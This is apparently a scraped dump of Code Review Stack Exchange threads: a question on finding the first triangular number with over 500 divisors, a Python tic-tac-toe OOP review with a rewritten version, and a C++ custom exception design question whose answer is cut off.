"Title": "Randomized Algorithm for finding optimal path in graph"
}
|
255220
|
<p>I wrote a program about triangular numbers, which are derived from the sum of natural numbers one after the other. For example, the third triangular number is equal to: 1 + 2 + 3 = 6.</p>
<p>I want to find divisors of triangular numbers. for example the third triangular number have 4 divisors which equal to : 1,2,3,6.</p>
<p>Some triangular number with their divisors:</p>
<ul>
<li><strong>1</strong>: 1</li>
<li><strong>3</strong>: 1,3</li>
<li><strong>6</strong>: 1,2,3,6</li>
<li><strong>10</strong>: 1,2,5,10</li>
<li><strong>15</strong>: 1,3,5,15</li>
<li><strong>21</strong>: 1,3,7,21</li>
<li><strong>28</strong>: 1,2,4,7,14,28</li>
</ul>
<p>I want to find the smallest triangular number which has more than 500 divisors. This program works, but is too slow to find the 500th. How can I optimize my program?</p>
<pre><code> def triangular(n):
a= []
for i in range (2,n):
if n % i == 0 :
a.append(i)
if len(a) > 498:
return True
else :
a.clear()
return False
x=1
n=x
while x>0:
if triangular(n):
print(n)
break
else:
n+=x+1
x+=1
</code></pre>
|
[] |
[
{
"body": "<p>The function <code>triangular()</code> is poorly named. I would recommend writing a function that simply counts factors - and remember that each factor <code>f</code> of <code>n</code> has a corresponding partner <code>n/f</code>, so you only have to count half the factors, and can stop testing above <code>sqrt(n)</code>. You might even omit the special case for square <code>n</code>, since triangular numbers can't also be square.</p>\n<p>We could write a <em>generator</em> for the triangular numbers, rather than mixing that in to the logic of the main function:</p>\n<pre><code>import itertools\n\ndef triangular_numbers():\n return itertools.accumulate(itertools.count(1))\n</code></pre>\n<p>Then we can just find the first item from that generator which satisfies the condition:</p>\n<pre><code>import functools\nimport itertools\n\ndef triangular_numbers():\n return itertools.accumulate(itertools.count(1))\n\ndef factors(n): \n return len(set(functools.reduce(list.__add__, \n ([i, n//i] for i in range(1, int(n**0.5) + 1) if n % i == 0))))\n\nif __name__ == "__main__":\n print(next(itertools.filterfalse(lambda x: factors(x) <= 500, triangular_numbers())))\n</code></pre>\n<p>There are more efficient ways of counting factors. A better approach might be to calculate the <strong>prime factorization</strong> and use that to work out the total number of factors.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T17:39:27.077",
"Id": "503500",
"Score": "1",
"body": "Could also `sum` the lists and use a positive `filter`."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T17:13:22.737",
"Id": "255223",
"ParentId": "255221",
"Score": "2"
}
},
{
"body": "<p>Instead of</p>\n<pre><code> if len(a) > 498:\n return True\n else :\n a.clear()\n return False\n</code></pre>\n<p>you could just</p>\n<pre><code> return len(a) > 498\n</code></pre>\n<p>as there's no point in clearing <code>a</code>.</p>\n<p>The n-th triangle number is <span class=\"math-container\">\\$\\frac{n(n+1)}{2}\\$</span>, so you could factor both n and n+1 and combine their factorizations.</p>\n<p>Takes less than a second:</p>\n<pre><code>from collections import Counter\nfrom math import prod\nfrom functools import cache\n\n@cache\ndef factorize(n):\n factorization = Counter()\n d = 2\n while d * d <= n:\n while n % d == 0:\n factorization[d] += 1\n n //= d\n d += 1\n if n > 1:\n factorization[n] += 1\n return factorization\n\nn = triangle = 0\nwhile True:\n n += 1\n triangle += n\n factorization = factorize(n) + factorize(n + 1) - factorize(2)\n divisors = prod(power + 1 for power in factorization.values())\n if divisors > 500:\n print(triangle, divisors)\n break\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T17:47:34.740",
"Id": "503501",
"Score": "0",
"body": "He starts at 2 and ends at n, so he’s accounting for 1 and n. That’s why he stopped at 498."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T17:48:47.247",
"Id": "503502",
"Score": "1",
"body": "@my_first_c_program Ah, of course, thanks. I removed that remark."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T18:13:45.883",
"Id": "503504",
"Score": "2",
"body": "Do not factorize both `n` and `n+1`. Reuse one from the previous iteration."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T18:16:02.820",
"Id": "503505",
"Score": "2",
"body": "@vnp That's what `@cache` does."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T17:27:38.990",
"Id": "255225",
"ParentId": "255221",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "255225",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T16:23:48.073",
"Id": "255221",
"Score": "0",
"Tags": [
"python",
"time-limit-exceeded"
],
"Title": "Find the smallest triangular number with more than 500 factors"
}
|
255221
|
<p>So iam making a game using OOP in python however is this the best practise when defining your objects? are you meant to define them all at the end of the script like I've done, or are you meant to define them after each class you make? Thanks in advance and any other improvements would be much appreciated!</p>
<pre><code>import random # Import random module to use for computer random move
import os # Import system from os module to be able to clear the console
# The following function print the current board to the command window.
def print_board(board):
print("\n")
print(" |", board[0], "|", board[1], "|", board[2], " | 1 | 2 | 3")
print(" |", "--+---+---", "|")
print(" |", board[3], "|", board[4], "|", board[5], " | 4 | 5 | 6")
print(" |", "--+---+---", "|")
print(" |", board[6], "|", board[7], "|", board[8], " | 7 | 8 | 9")
# This function takes the existing board, position input from player,
# marker type (either x or o) and returns the updated board based on the arguments.
def update_board(board, position, marker):
board[position-1] = marker
print_board(board)
return board
# Add any other functions below for your program
# Function to allow the user to select the game mode they wish to play either,
# Player vs Player, Player vs Computer or their Special equivalent.
def game_selection():
while True:
print("\tWELCOME TO TIC - TAC - TOE!")
game_mode = input("""\nSELECT YOUR GAME MODE FROM BELOW!
- Player Vs Player - Type 'PvP'
- Player vs Computer - Type 'PvC'
Type your desired game mode here: """).strip()
if game_mode in ('PvP', 'pvp', 'PVP'):
pVp.instructions()
return pVp.play_game() # Calls method for Player vs Player
elif game_mode in ('PvC', 'pvc', 'PVP'):
pVc.instructions()
return pVc.play_game() # Calls method for Player vs Computer
else:
print("\n-- INVALID GAME MODE Type 'PvP' or 'PvC' --")
# This function is called whenever the initial game ends,and give the user the
# option to play another game or to exit out the console.
def play_again():
while True:
play_another = input("\nThank you for playing! \
Would you like to play again (Type 'yes') or enter any key to exit!: ").lower()
if not play_another == "yes":
exit(0) # Execute a successful exit
return None
# Define a class for Player
class Player:
# Player class has instance variables for their counter,and if they have won (True/False)
def __init__(self, counter):
self.has_won = False
self.counter = counter
# Method to allow player objects to move and select a unoccupied position on the board,
# from 1-9,along with error checking/validation of there input e.g.input is a integer.
def move(self):
while True:
try:
player_input = int(input(f"\nWhere do you want to place your {self.counter}?(1-9): "))
except ValueError:
print("\nInvalid Input not an number,Try Again.")
continue
if player_input in range(1, 10) and board[player_input - 1] == " ":
update_board(board, player_input, self.counter)
return self.game_state(self.counter)
else:
print("\nPlease enter a position between 1-9 ,which is also empty.")
# Method which allows the board to be reset back to empty, and to reset the has_won
# value back to 'False'. So the user can choose to play a fresh match.
def reset(self):
global board
board = [" " for move in range(9)]
self.has_won = False
# Method allows a player to move an existing counter to any location on the board
def move_exisiting_piece(self):
if self.counter not in board: # Check if the player has a counter on the board
return None
while True: # Ask user if they want to move an exisiting piece or not
answer = input("\nDo you want to move an existing piece (yes/no): ").lower()
if answer == "yes":
break
if answer == "no":
return None
while True: # Loop which asks user to choose the counter they want to move
try:
location = int(input("\nWhat's the location of the your counter"
" you want to move (1-9): "))
except ValueError:
print("\nYou did not enter a valid location on the board!")
if location in range(1, 10) and board[location - 1] == self.counter:
board[location - 1] = " "
while True: # Loop to ask user where to move the exisiting counter
try:
move_location = int(input("\nWhere on the board is the new location"
" you want to place the piece? (1-9): "))
except ValueError:
print("\nNot a valid location,Try Again.")
if move_location in range(1, 10) and board[move_location - 1] == " ":
update_board(board, move_location, self.counter)
return self.game_state(self.counter)
else:
print("\nThis location is not avaliable to place your piece.")
else:
print(f"\nYou do not have a {self.counter} in this location! Try Again.")
# This method is used to check the game state after every indivdual move to check if
# the game is a draw, a win or to continue playing.
def game_state(self, counter):
horizontal_win = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
vertical_win = [[1, 4, 7], [2, 5, 8], [3, 6, 9]]
diagnol_win = [[1, 5, 9], [3, 5, 7]]
for x, y, z in horizontal_win: # For loop to check for horizontal win
if board[x-1] == board[y-1] == board[z-1] != " ":
print("\nPlayer with counter " + board[x-1] + " has won!")
self.has_won = True
return 1
for x, y, z in vertical_win: # For loop to check for vertical win
if board[x-1] == board[y-1] == board[z-1] != " ":
print("\nPlayer with counter " + board[x-1] + " has won!")
self.has_won = True
return 1
for x, y, z in diagnol_win: # For loop to check for diagnol win
if board[x-1] == board[y-1] == board[z-1] != " ":
print("\nPlayer with counter " + board[x-1] + " has won!")
self.has_won = True
return 1
# Use a for loop to check if board is full and there is no winner (draw)
if len([c for c in board if c in ('X', 'O')]) == 9:
print("\nTHIS GAME IS A DRAW! NOBODY WINS!")
self.has_won = True
return 1
return 0 # Return 0 if no win/draw is found
# Class for the computer, which inherited values and methods from the Player class
class Computer(Player):
def __init__(self, counter):
Player.__init__(self, counter)
# Method to allow computer to select the optimal position to place a counter
def cpu_move(self):
# Create a 2D array of all possible combinations to play
winning_combos = [[0, 1, 2], [0, 2, 1], [2, 1, 0], [3, 4, 5],
[3, 5, 4], [4, 5, 3], [6, 7, 8], [6, 8, 7],
[7, 8, 6], [0, 3, 6], [0, 6, 3], [3, 6, 0],
[1, 4, 7], [1, 7, 4], [4, 7, 1], [2, 5, 8],
[2, 8, 5], [5, 8, 2], [0, 4, 8], [0, 8, 4],
[8, 4, 0], [2, 4, 6], [2, 6, 4], [6, 4, 2]]
# For each value in each sub array of win_combos we check for a winning position
# for the computer.If there is none then we check if the human player has a
# winning turn next, if so we place a 'O' in that position
for x, y, z in winning_combos:
if board[4] == " ":
print("\nThe COMPUTER has placed a 'O' in position 5")
update_board(board, 5, self.counter)
return self.game_state(self.counter)
elif board[x] == "O" and board[y] == "O" and board[z] == " ":
print("\nThe COMPUTER has placed a 'O' in position " + str(z+1))
update_board(board, z+1, self.counter)
return self.game_state(self.counter)
elif board[x] == "X" and board[y] == "X" and board[z] == " ":
print("\nThe COMPUTER has placed a 'O' in position " + str(z+1))
update_board(board, z+1, self.counter)
return self.game_state(self.counter)
# If non of the operations above work then get the computer to select a
# random position on the board to place a 'O'.
while True:
move = random.randint(1, 9)
if board[move-1] == " ":
print("\nThe COMPUTER has placed a 'O' in position " + str(move))
update_board(board, move, self.counter)
return self.game_state(self.counter)
# Create Game class that takes argument for the who each player is and what game mode to play
class Game:
def __init__(self,player1 ,player2, mode):
self.player1 = player1
self.player2 = player2
self.mode = mode
def instructions(self):
os.system("cls")
print(f"\tWELCOME TO {self.player1} VS {self.player2}!")
print(f"""\nRULES: \n1. {self.player1} you're COUNTER 'X' and {self.player2} is COUNTER 'O'.
2. The first player to get 3 of their counters in a row,
(up, down, across, or diagonally) is the winner.
3. When all 9 squares are full, the game is over.
4. If no player has 3 marks in a row, the game ends in a tie.
5. In this mode you also have the option to move an existing counter of your own!""")
# Method which plays the oppropriate game mode depending on
def play_game(self):
# Print out the initial board to the console
print_board(board)
if self.mode == "PVP":
while True:
print("\n -PLAYER ONE'S TURN (X)-")
if player1.move_exisiting_piece() is None:
player1.move()
if player1.has_won: # If player 1 wins, reset the board and has_won values
player1.reset()
player2.reset()
return None
print("\n -PLAYER TWO'S TURN (O)-")
if player2.move_exisiting_piece() is None:
player2.move()
if player2.has_won: # If player 2 wins, reset the board and has_won values
player1.reset()
player2.reset()
return None
elif self.mode == "PVC":
while True:
print("\n -PLAYER ONE'S TURN (X)-")
if player1.move_exisiting_piece() is None:
player1.move()
if player1.has_won: # If player 1 wins, reset the board and has_won values
player1.reset()
computer.reset()
return None
computer.cpu_move()
if computer.has_won: # If computer wins, reset the board and has_won values
player1.reset()
computer.reset()
return None
# Program main starts from here
# Global variable for the board
board = [" " for move in range(9)]
# Define the require objects
player1 = Player("X") # Player 1 object
player2 = Player("O") # Player 2 object
computer = Computer("O") # Computer player object
pVp = Game("PLAYER 1", "PLAYER 2", "PVP") # Player vs Player game mode object
pVc = Game("PLAYER 1", "COMPUTER", "PVC") # Player vs Computer game mode object
# If this is the main file execute the Tic Tac Toe Game
if __name__ == "__main__":
while True: # Run a loop to let user select game mode / play again
game_selection()
play_again()
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T14:01:34.337",
"Id": "503577",
"Score": "0",
"body": "@M_ so here was my answer, if any question let me know, if it helped please remember to Accted the answer and upvote"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T14:34:08.610",
"Id": "503584",
"Score": "0",
"body": "I added a final review, is actually pretty good overall. Remember to accept the answer so it can be removed from the unanswered queue."
}
] |
[
{
"body": "<ol>\n<li>Everything in Python is an Object ---> <a href=\"https://stackoverflow.com/questions/865911/is-everything-an-object-in-python-like-ruby\">Is everything an object in Python like Ruby?</a></li>\n</ol>\n<p>So what you refer seems to be the Variable declaration ---> <a href=\"https://stackoverflow.com/questions/11007627/python-variable-declaration\">Python Variable Declaration</a>.</p>\n<blockquote>\n<p>"There is no such thing as "variable declaration" or "variable initialization" in Python."</p>\n</blockquote>\n<p>However is normally called <strong>define a variable</strong> or <strong>"assignment"</strong>.</p>\n<ol start=\"2\">\n<li>Where you define the variable depends of the context. There are some best prectices for instance:</li>\n</ol>\n<p>A. Define the Variables Close to the function call.</p>\n<p>B. Define Constant and Global Variable all in Upper Case.</p>\n<p>C. The variable are written in a <strong>snake_case style</strong> --> <a href=\"https://en.wikipedia.org/wiki/Snake_case\" rel=\"nofollow noreferrer\">Snake case\n</a> See also --> <a href=\"https://stackoverflow.com/questions/159720/what-is-the-naming-convention-in-python-for-variable-and-function-names\">What is the naming convention in Python for variable and function names?\n</a>.</p>\n<hr />\n<h2>Consideration of your code</h2>\n<ol>\n<li><p>In your case, define the variables as you did at the bottom is actually ok, And I tell you more. Because you used `if <strong>name</strong>' == '<strong>main</strong>' shield, is very common to do this:</p>\n<pre><code># If this is the main file execute the Tic Tac Toe Game\n if __name__ == "__main__":\n board = [" " for move in range(9)]\n player1 = Player("X") \n player2 = Player("O") \n computer = Computer("O") \n pVp = Game("PLAYER 1", "PLAYER 2", "PVP") \n pVc = Game("PLAYER 1", "COMPUTER", "PVC") \n while True: # Run a loop to let user select game mode / play again\n game_selection()\n play_again()\n</code></pre>\n</li>\n<li><p>To many Comments. The comments should be added only when is needed to make further clarification, for instance <code>player1 = Player("X") # Player 1 object</code> is very obvious what's is going on, hence a comment is not really needed here.Is important also for maintainability, imagine if you need to change the code, there is too much 'comment noise' around.</p>\n</li>\n<li><p>Use DocStrings for function instead of comment.</p>\n</li>\n</ol>\n<p>Not only looks better in most of the IDE or Editor (because of the highlighting) but it looks more professional. But probably the most important aspect is that if How you officially document your code in Python. IDE and other tool use it, (like when you run the help function).</p>\n<ul>\n<li><a href=\"https://www.python.org/dev/peps/pep-0257/\" rel=\"nofollow noreferrer\">PEP 257 -- Docstring Conventions</a></li>\n<li><a href=\"https://realpython.com/documenting-python-code/\" rel=\"nofollow noreferrer\">Documenting Python Code: A Complete Guide</a></li>\n</ul>\n<h2>Final review</h2>\n<pre><code>import random \nimport os \n\n\ndef print_board(board):\n """The following function print the current board to the command window."""\n print("\\n")\n print(" |", board[0], "|", board[1], "|", board[2], " | 1 | 2 | 3")\n print(" |", "--+---+---", "|")\n print(" |", board[3], "|", board[4], "|", board[5], " | 4 | 5 | 6")\n print(" |", "--+---+---", "|")\n print(" |", board[6], "|", board[7], "|", board[8], " | 7 | 8 | 9")\n\n\ndef update_board(board, position, marker):\n """This function takes the existing board, position input from player,\n marker type (either x or o) and returns the updated board based on the arguments."""\n board[position-1] = marker\n print_board(board)\n return board\n\n\n\n\ndef game_selection():\n print("\\n--- WELCOME TO TIC - TAC - TOE! ---")\n \n while True:\n game_mode = input("""\\nSELECT YOUR GAME MODE FROM BELOW!\n - Player Vs Player - Type 'PvP'\n - Player vs Computer - Type 'PvC'\nType your desired game mode here: """).strip()\n if game_mode in ('PvP', 'pvp', 'PVP'):\n pVp.instructions()\n return pVp.play_game() \n elif game_mode in ('PvC', 'pvc', 'PVP'):\n pVc.instructions()\n return pVc.play_game() \n else:\n print("\\n-- INVALID GAME MODE Type 'PvP' or 'PvC' --")\n\n\ndef play_again():\n """This function is called whenever the initial game ends,and give the user the\noption to play another game or to exit out the console."""\n while True:\n play_another = input("\\nThank you for playing! \\\nWould you like to play again (Type 'yes') or enter any key to exit!: ").lower()\n if not play_another == "yes":\n exit(0) # Execute a successful exit\n os.system("cls")\n return None\n\n\nclass Player:\n """Player class has instance variables for their counter,and if they have won (True/False)"""\n def __init__(self, counter):\n self.has_won = False\n self.counter = counter\n\n\n def move(self): # NOTE: \n """"Method to allow player objects to move and select a unoccupied position on the board,\n from 1-9,along with error checking/validation of there input e.g.input is a integer."""\n while True:\n try:\n player_input = int(input(f"\\nWhere do you want to place your {self.counter}?(1-9): "))\n except ValueError:\n print("\\nInvalid Input not an number,Try Again.")\n continue\n if player_input in range(1, 10) and board[player_input - 1] == " ":\n update_board(board, player_input, self.counter)\n return self.game_state(self.counter)\n else:\n print("\\nPlease enter a position between 1-9 ,which is also empty.")\n\n \n def reset(self):\n """Method which allows the board to be reset back to empty, and to reset the has_won\n value back to 'False'. So the user can choose to play a fresh match."""\n global board\n board = [" " for move in range(9)]\n self.has_won = False\n\n \n def move_exisiting_piece(self): # NOTE: move an existing counter to any location on the board\n if self.counter not in board: # NOTE: Check if the player has a counter on the board\n return None\n\n while True: \n answer = input("\\nDo you want to move an existing piece (yes/no): ").lower()\n if answer == "yes":\n break\n if answer == "no":\n return None\n\n while True: \n try:\n location = int(input("\\nWhat's the location of the your counter"\n " you want to move (1-9): "))\n except ValueError:\n print("\\nYou did not enter a valid location on the board!")\n if location in range(1, 10) and board[location - 1] == self.counter:\n board[location - 1] = " "\n while True: # Loop to ask user where to move the exisiting counter\n try:\n move_location = int(input("\\nWhere on the board is the new location"\n " you want to place the piece? (1-9): "))\n except ValueError:\n print("\\nNot a valid location,Try Again.")\n if move_location in range(1, 10) and board[move_location - 1] == " ":\n update_board(board, move_location, self.counter)\n return self.game_state(self.counter)\n else:\n print("\\nThis location is not avaliable to place your piece.")\n else:\n print(f"\\nYou do not have a {self.counter} in this location! Try Again.")\n\n \n def game_state(self, counter):\n """Used to check the game state after every indivdual move to check if\n the game is a draw, a win or to continue playing."""\n horizontal_win = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]\n vertical_win = [[1, 4, 7], [2, 5, 8], [3, 6, 9]]\n diagnol_win = [[1, 5, 9], [3, 5, 7]]\n\n for x, y, z in horizontal_win: # NOTE: Check for horizontal win\n if board[x-1] == board[y-1] == board[z-1] != " ":\n print("\\nPlayer with counter " + board[x-1] + " has won!")\n self.has_won = True\n return 1\n\n for x, y, z in vertical_win: # NOTE: Check for vertical win\n if board[x-1] == board[y-1] == board[z-1] != " ":\n print("\\nPlayer with counter " + board[x-1] + " has won!")\n self.has_won = True\n return 1\n\n for x, y, z in diagnol_win: # NOTE: Check for diagnol win\n if board[x-1] == board[y-1] == board[z-1] != " ":\n print("\\nPlayer with counter " + board[x-1] + " has won!")\n self.has_won = True\n return 1\n\n if len([c for c in board if c in ('X', 'O')]) == 9: # FAQ: Check if board is full an there is no winner (draw)\n print("\\nTHIS GAME IS A DRAW! NOBODY WINS!")\n self.has_won = True\n return 1\n return 0 # Return 0 if no win/draw is found\n\n\nclass Computer(Player):\n """Class for the computer, which inherited values and methods from the Player class"""\n def __init__(self, counter):\n Player.__init__(self, counter)\n\n def cpu_move(self): # NOTE: allow computer to select the optimal position to place a counter\n # Create a 2D array of all possible combinations to play\n winning_combos = [[0, 1, 2], [0, 2, 1], [2, 1, 0], [3, 4, 5],\n [3, 5, 4], [4, 5, 3], [6, 7, 8], [6, 8, 7],\n [7, 8, 6], [0, 3, 6], [0, 6, 3], [3, 6, 0],\n [1, 4, 7], [1, 7, 4], [4, 7, 1], [2, 5, 8],\n [2, 8, 5], [5, 8, 2], [0, 4, 8], [0, 8, 4],\n [8, 4, 0], [2, 4, 6], [2, 6, 4], [6, 4, 2]]\n\n # NOTE: For each value in each sub array of win_combos we check for a winning position\n # for the computer.If there is none then we check if the human player has a\n # winning turn next, if so we place a 'O' in that position\n for x, y, z in winning_combos:\n if board[4] == " ":\n print("\\nThe COMPUTER has placed a 'O' in position 5")\n update_board(board, 5, self.counter)\n return self.game_state(self.counter)\n elif board[x] == "O" and board[y] == "O" and board[z] == " ":\n print("\\nThe COMPUTER has placed a 'O' in position " + str(z+1))\n update_board(board, z+1, self.counter)\n return self.game_state(self.counter)\n elif board[x] == "X" and board[y] == "X" and board[z] == " ":\n print("\\nThe COMPUTER has placed a 'O' in position " + str(z+1))\n update_board(board, z+1, self.counter)\n return self.game_state(self.counter)\n\n # If non of the operations above work then get the computer to select a\n # random position on the board to place a 'O'.\n while True:\n move = random.randint(1, 9)\n if board[move-1] == " ":\n print("\\nThe COMPUTER has placed a 'O' in position " + str(move))\n update_board(board, move, self.counter)\n return self.game_state(self.counter)\n\n\nclass Game(Player):\n def __init__(self,player1 ,player2, mode):\n self.player1 = player1\n self.player2 = player2\n self.mode = mode\n\n def instructions(self):\n """Method to output the instructions (depending on the gamemode) to the user"""\n os.system("cls")\n print(f"\\tWELCOME TO {self.player1} VS {self.player2}!")\n print(f"""\\nRULES: \\n1. {self.player1} you're COUNTER 'X' and {self.player2} is COUNTER 'O'.\n2. The first player to get 3 of their counters in a row,\n (up, down, across, or diagonally) is the winner.\n3. When all 9 squares are full, the game is over. \n4. If no player has 3 marks in a row, the game ends in a tie.\n5. In this mode you also have the option to move an existing counter of your own!""")\n \n # \n def play_game(self):\n """Method which plays the oppropriate game mode depending on the selected game mode"""\n print_board(board) \n\n while True:\n print("\\n -PLAYER ONE'S TURN (X)-")\n if player1.move_exisiting_piece() is None:\n player1.move()\n if player1.has_won: # If player 1 wins, reset the board and has_won values\n player1.reset()\n player2.reset()\n return None\n if self.mode == "PVP": # If the mode slected is PvP then execute player 2 move\n print("\\n -PLAYER TWO'S TURN (O)-")\n if player2.move_exisiting_piece() is None:\n player2.move()\n if player2.has_won: # If player 2 wins, reset the board and has_won values\n player1.reset()\n player2.reset()\n return None\n elif self.mode == "PVC": # If the mode slected is PvP then execute computer move\n computer.cpu_move()\n if computer.has_won: # If computer wins, reset the board and has_won values\n player1.reset()\n computer.reset()\n return None\n\n\nif __name__ == "__main__":\n BOARD = [" " for move in range(9)]\n player1 = Player("X") \n player2 = Player("O") \n computer = Computer("O") \n pVp = Game("PLAYER 1", "PLAYER 2", "PVP") \n pVc = Game("PLAYER 1", "COMPUTER", "PVC") \n\n while True: \n game_selection()\n play_again()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T14:10:46.200",
"Id": "503580",
"Score": "0",
"body": "Thanks alot,ive fixed it now"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T14:16:22.613",
"Id": "503581",
"Score": "0",
"body": "yes, come back in 10.15 minute, I'm adding more stuff, is that I'm busy, Also remember to accetp the answer pls"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T15:49:25.760",
"Id": "503592",
"Score": "0",
"body": "So i just need to use doc strings in my classes, and also have 2 blank spaces between each class?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T15:56:11.577",
"Id": "503593",
"Score": "0",
"body": "Yes in general the code is pretty good, can be improved? Probably a bit but honestly if I try to improve the whole logic, it may instead be so clustered that is less readable (which is worst). Regarding the 2 spaces, this is mandatory however it is reccomended in the [PEP 8](https://www.python.org/dev/peps/pep-0008/) which is the writing **convention** for Python."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T16:09:54.033",
"Id": "503594",
"Score": "0",
"body": "To be honest, I probably added 2 spaces unconsciously, is it because I study PEP 8? Nope, I never read it!. What I suggest you is to use [Pycharm Comunity edition](https://www.jetbrains.com/pycharm/download/#section=windows) (is free ;) ) Why? Well Pycharm gives you some little error underline your code in case you don't follow the PEP 8 you can turn it off. but this is how I learn how to write pretty Good Python code, it is so annoyinh that you clean it up so now I do it Automaticallly. I suggest you to give it a try"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T17:28:23.627",
"Id": "503609",
"Score": "0",
"body": "Thanks so much for the help!"
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T14:00:30.527",
"Id": "255248",
"ParentId": "255222",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "255248",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T16:55:59.700",
"Id": "255222",
"Score": "3",
"Tags": [
"python-3.x",
"object-oriented",
"classes"
],
"Title": "Game in Python3 using OOP"
}
|
255222
|
<p>I want to make my own custom exception handling and I am curious if I am going the right path, maybe some of you could suggest to me how I could improve it? Or maybe I have went the wrong direction? (Also it would be amazing to know how I could make this piece of code more of a modern C++.)</p>
<p>Here is a simple namespace with classes, which inherits from <code>std::error_category</code> and <code>std::system_error</code>.</p>
<pre class="lang-cpp prettyprint-override"><code>#include <string>
#include <system_error>
#include <iostream>
namespace CustomException {
class ErrorC : public std::error_category {
using Base = std::error_category;
public:
char const *name() const noexcept
override { return "App error"; }
std::error_condition default_error_condition(int const code) const noexcept
override {
(void) code;
return {};
}
bool equivalent(int const code, std::error_condition const &condition) const noexcept
override {
(void) code;
(void) condition;
return false;
}
bool equivalent(std::error_code const &code, int const condition) const noexcept
override { return Base::equivalent(code, condition); }
std::string message(int const condition) const
override { return "An application error occurred, code = " + std::to_string(condition); }
constexpr ErrorC() : Base{} {}
};
auto app_error_category()
-> ErrorC const & {
static ErrorC the_instance;
return the_instance;
}
enum class BreakErrorCode {
FAILED_INIT_BREAKS = 1,
FAILED_TO_LINK_BREAKS = 2,
};
class BreakError : public std::system_error {
using Base = std::system_error;
public:
BreakErrorCode appErrorCode() const {
return static_cast<BreakErrorCode>(code().value());
}
explicit BreakError(const BreakErrorCode code)
: Base{(int) code, app_error_category()} {
}
BreakError(const BreakErrorCode code, const std::string &description)
: Base{(int) code, app_error_category(), description} {
}
};
enum class EngineErrorCode {
FAILED_INIT_ENGINE = 101,
MOTHER_BOARD_FAILED_LINKING = 102,
};
class EngineError : public std::system_error {
using Base = std::system_error;
public:
EngineErrorCode appErrorCode() const {
return static_cast<EngineErrorCode>(code().value());
}
EngineError(const EngineErrorCode code)
: Base{(int) code, app_error_category()} {
}
EngineError(const EngineErrorCode code, const std::string &description)
: Base{(int) code, app_error_category(), description} {
}
};
enum class ControlErrorCode {
CONTROL_GIMBAL_FAILED = 301,
OBTAIN_CONTROL_AUTHORITY_FAILED = 302,
};
}
</code></pre>
<p>Main.cpp, which invokes methods throwing exceptions from previously declared namespace.</p>
<pre><code>using namespace CustomException;
void initEngine() {
throw EngineError(EngineErrorCode::FAILED_INIT_ENGINE, "Failed init engine");
}
void initBreaks() {
throw BreakError(BreakErrorCode::FAILED_INIT_BREAKS, "Failed init breaks");
}
int main() {
try {
initEngine();
initBreaks();
}
catch (const BreakError &error) {
std::cout << error.what() << std::endl;
}
catch (const EngineError &error) {
std::cout << error.what() << std::endl;
}
catch (...) {
std::cout << "Caught something unexpected error" << std::endl;
}
return 0;
}
</code></pre>
<p>I would appreciate very much any kind of comments / help.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T18:21:23.863",
"Id": "503506",
"Score": "3",
"body": "\"I want to make my own custom exception handling\" Why?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T18:35:44.637",
"Id": "503507",
"Score": "0",
"body": "Hey Mast, I probably should rephrase myself, I want to extend system_error with my own classes, which inherits from it, for better readability and re-usability. Am I thinking wrongly here ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T18:44:22.393",
"Id": "503508",
"Score": "1",
"body": "You're definitely using a lot of overrides for it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T19:15:03.280",
"Id": "503509",
"Score": "0",
"body": "@Mast I am sorry, could you elaborate more on it ?"
}
] |
[
{
"body": "<p>Here are some things that may help you improve your code.</p>\n<h2>Separate interface from implementation</h2>\n<p>The interface goes into a header file and the implementation (that is, everything that actually emits bytes including all functions and data) should be in a separate <code>.cpp</code> file. The reason is that you might have multiple source files including the <code>.h</code> file but only one instance of the corresponding <code>.cpp</code> file. In other words, split your existing <code>CustomException</code> namespace into into a <code>.h</code> file and a <code>.cpp</code> file.</p>\n<h2>Correctly override functions</h2>\n<p>The code currently contains this as part of class <code>ErrorC</code>:</p>\n<pre><code>bool equivalent(int const code, std::error_condition const &condition) const noexcept\noverride {\n (void) code;\n (void) condition;\n return false;\n}\n</code></pre>\n<p>This is not right for several reasons. First, the standard says that this should return <code>true</code> if the error is equivalent, but this does not do that. Instead, I'd write:</p>\n<pre><code>return default_error_condition(code) == condition; \n</code></pre>\n<p>Better still, omit it, since this is not a pure virtual method in <code>std::error_category</code>.</p>\n<h2>Don't create pointless classes</h2>\n<p>The <code>CustomException</code> class is doing very little here and I would strongly recommend omitting it and just deriving directly from <code>std::error_category</code>. See <a 